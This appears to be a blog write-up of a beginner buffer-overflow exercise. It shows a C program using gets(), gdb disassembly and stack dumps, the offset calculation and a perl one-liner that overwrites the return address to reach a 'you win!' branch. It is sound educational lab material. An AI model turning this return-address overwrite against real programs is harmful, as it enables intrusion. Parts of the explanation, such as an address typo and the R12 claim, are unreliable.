First of all, the vulnerable string function gets() causes program to overflow and because of the following conditions, it is impossible to pass cookie value(0x000a0d00) as an input to gets() function
- char * gets ( char * str );
- When gets encounters a new line character or null byte, it stops reading, but does NOT store it.
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000a0d00)
printf("you win!\n");
}
So we need to change the flow of the program to get "you win !" value.Here is the disassemble of main ::
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005bc <+0>: push rbp
0x00000000004005bd <+1>: mov rbp,rsp
0x00000000004005c0 <+4>: sub rsp,0x60
0x00000000004005c4 <+8>: lea rdx,[rbp-0x4]
0x00000000004005c8 <+12>: lea rax,[rbp-0x60]
0x00000000004005cc <+16>: mov rsi,rax
0x00000000004005cf <+19>: mov edi,0x4006a4
0x00000000004005d4 <+24>: mov eax,0x0
0x00000000004005d9 <+29>: call 0x400490
0x00000000004005de <+34>: lea rax,[rbp-0x60]
0x00000000004005e2 <+38>: mov rdi,rax
0x00000000004005e5 <+41>: call 0x4004c0
0x00000000004005ea <+46>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005ed <+49>: cmp eax,0xa0d00 // compare; if true go +56 false jump +66
0x00000000004005f2 <+54>: jne 0x4005fe
0x00000000004005f4 <+56>: mov edi,0x4006bc
0x00000000004005f9 <+61>: call 0x400480
0x00000000004005fe <+66>: leave
=> 0x00000000004005ff <+67>: ret
End of assembler dump.
When we look the value in 0x4006bc ::
#(gdb) x/s 0x4006bc
0x4006bc: "you win!"
The call 0x400480 instruction basically push "you win" value from R12 to stack and then the puts function print out the screen.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4e0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0008| 0x7fffffffe4e8 --> 0x7ffff7a8dc5f (<_io_file_overflow>: cmp eax,0xffffffff)
0016| 0x7fffffffe4f0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0024| 0x7fffffffe4f8 --> 0x8
0032| 0x7fffffffe500 --> 0x4006bc ("you win!")
0040| 0x7fffffffe508 --> 0x7ffff7a83002 (
0048| 0x7fffffffe510 --> 0x0
0056| 0x7fffffffe518 --> 0x7fffffffe590 --> 0x0
[------------------------------------------------------------------------------]
So our scenario should be writing stack frame pointer to address of +56 and make the execution of flow changed.We should find the exact length from buffer to stack frame pointer. As we can get the address of buffer from the code , it is easy to find SFP current address before the ret instruction.
# breakpoint on ret value ==>
buf: ffffe530 cookie: ffffe58c
123
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xfbad2288
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff6003 --> 0xa ('\n')
RDI: 0x7fffffffe533 --> 0xffe6880000000000
RBP: 0x0
RSP: 0x7fffffffe598 --> 0x7ffff7a33ea5 (<__libc_start_main>: mov edi,eax)
The difference between 0x7fffffffe598 - 0x7ffffff530 is 0x68 which means 104 in decimal. After 104 character the RIP can execute any address which we set.( 0x00000000004005f4 <+56>:)
# perl -e 'print "\x41" x 104 ."\xf4\x05\x40\x00\x00"' | ./stack1
buf: 9a3896e0 cookie: 9a38973c
you win!
Bus error (core dumped)
No comments:
Post a Comment